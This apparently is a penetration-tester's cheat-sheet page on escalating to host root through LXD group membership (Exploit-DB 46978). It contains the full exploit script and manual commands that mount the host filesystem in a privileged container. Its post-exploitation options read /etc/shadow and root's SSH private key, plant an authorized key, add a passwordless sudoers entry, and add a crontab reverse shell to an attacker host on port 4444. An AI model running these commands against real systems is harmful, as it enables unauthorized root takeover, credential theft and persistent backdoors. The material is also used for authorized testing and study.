lxc — LXD Privilege Escalation (EDB-46978)

Ctrl+F: lxc · lxd · /snap/bin · security.privileged · /mnt/root · EDB-46978

Membership in the lxd group lets you manage LXD containers. Import a privileged image, mount the host / inside the container at /mnt/root, and read/write the full host filesystem as root inside the container → host root.

Exploit-DB: 46978 · Authors: Marcelo Vazquez (S4vitar), Victor Lasa (vowkin)

Linux > 📌 13) Docker / LXC / LXD Escape · Privilege escalation > 📌 Phase 3 — Linux Vector Priority


📌 When to try

SignalCheck
lxd groupid · groups(lxd)
lxc missing from PATHwhich lxc fails but shell says it’s in /snap/bin/lxc
LinPEAS / manual enumDocker/LXD section flags group membership
Stuck after sudo/SUID/cronContainer abuse before kernel exploits
id
groups
which lxc
ls -la /snap/bin/lxc 2>/dev/null

PATH fix (/snap/bin)

Some boxes install lxc via snap but /snap/bin is not in PATH:

# Before fix
which lxc
# lxc: command not found — hint: '/snap/bin/lxc'
 
export PATH=$PATH:/snap/bin
which lxc
# /snap/bin/lxc

Make permanent for the session or add to exploit script preamble if needed.


📌 Step 1 — Build Alpine image (Kali / attacker)

On your machine (needs root to build):

wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
chmod +x build-alpine
sudo bash build-alpine
# → alpine-v3.XX-x86_64-YYYYMMDD_HHMM.tar.gz
ls -lh alpine-*.tar.gz

Transfer to target → File Transfer · Install Download and Run > 📌 1b) Archives — extract vs use as-is · Archives - unzip 7z zip > When NOT to extract `.tar.gz`

Important: The Alpine .tar.gz is not extracted with tar -xzf — pass the file directly to lxc image import / ./exx -f.


📌 Step 2 — Exploit script (victim)

Save as exx (or lxd_privesc.sh), transfer, chmod +x, run with the .tar.gz:

./exx -f alpine-v3.24-x86_64-20260723_1119.tar.gz

Full script (EDB-46978)

#!/usr/bin/env bash
 
# ----------------------------------
# Authors: Marcelo Vazquez (S4vitar)
#          Victor Lasa      (vowkin)
# ----------------------------------
#
# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker]
# Step 2: Build alpine => bash build-alpine (as root) [Attacker]
# Step 3: Run this script on victim with -f alpine.tar.gz
# Step 4: Inside container → /mnt/root = host filesystem
 
function helpPanel(){
  echo -e "\nUsage:"
  echo -e "\t[-f] Filename (.tar.gz alpine file)"
  echo -e "\t[-h] Show this help panel\n"
  exit 1
}
 
function createContainer(){
  lxc image import $filename --alias alpine && lxd init --auto
  echo -e "[*] Listing images...\n" && lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}
 
function cleanup(){
  echo -en "\n[*] Removing container..."
  lxc stop privesc && lxc delete privesc && lxc image delete alpine
  echo " [√]"
}
 
set -o nounset
set -o errexit
 
declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG && let parameter_enable+=1;;
    h) helpPanel;;
  esac
done
 
if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi

What it does:

  1. lxc image import — loads your Alpine tarball
  2. lxd init --auto — initializes LXD (non-interactive)
  3. lxc init … security.privileged=trueprivileged container (needed for host mount abuse)
  4. lxc config device add … disk source=/ path=/mnt/root recursive=truehost //mnt/root
  5. lxc exec privesc sh — root shell inside container
  6. cleanup — removes container/image on exit

📌 Step 3 — Host root (inside container)

You land in a container shell as root. Host files are under /mnt/root:

# Inside container (lxc exec privesc sh)
id
ls /mnt/root
cat /mnt/root/etc/shadow
cat /mnt/root/root/.ssh/id_rsa
 
# Option A — chroot to host bash
chroot /mnt/root /bin/bash
 
# Option B — add your SSH key for host root
mkdir -p /mnt/root/root/.ssh
echo 'YOUR_PUBKEY' >> /mnt/root/root/.ssh/authorized_keys
chmod 600 /mnt/root/root/.ssh/authorized_keys
 
# Option C — NOPASSWD sudo for your user
echo 'funny ALL=(ALL) NOPASSWD:ALL' >> /mnt/root/etc/sudoers
 
# Option D — cron reverse shell as host root
echo '* * * * * root bash -c "bash -i >& /dev/tcp/KALI/4444 0>&1"' >> /mnt/root/etc/crontab

Exit container → script runs cleanup (stops/deletes container and image).


📌 Manual commands (no script)

If you prefer step-by-step on the victim:

export PATH=$PATH:/snap/bin
 
lxc image import ./alpine-*.tar.gz --alias alpine
lxd init --auto
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc hostroot disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

📌 vs Docker group privesc

VectorGroupCommand pattern
Dockerdockerdocker run -v /:/mnt … chroot /mnt sh
LXDlxdPrivileged lxc container + disk mount → /mnt/root

Both abuse container runtime membership — check id early.

Linux > 📌 13) Docker / LXC / LXD Escape


📌 Quick cheat sheet

# Detect
id | grep -E 'lxd|docker'
export PATH=$PATH:/snap/bin && which lxc
 
# Kali — build image
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
sudo bash build-alpine
 
# Victim
./exx -f alpine-*.tar.gz
# inside container:
chroot /mnt/root /bin/bash


📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

Linux > 📌 1) Basic Manual Enumeration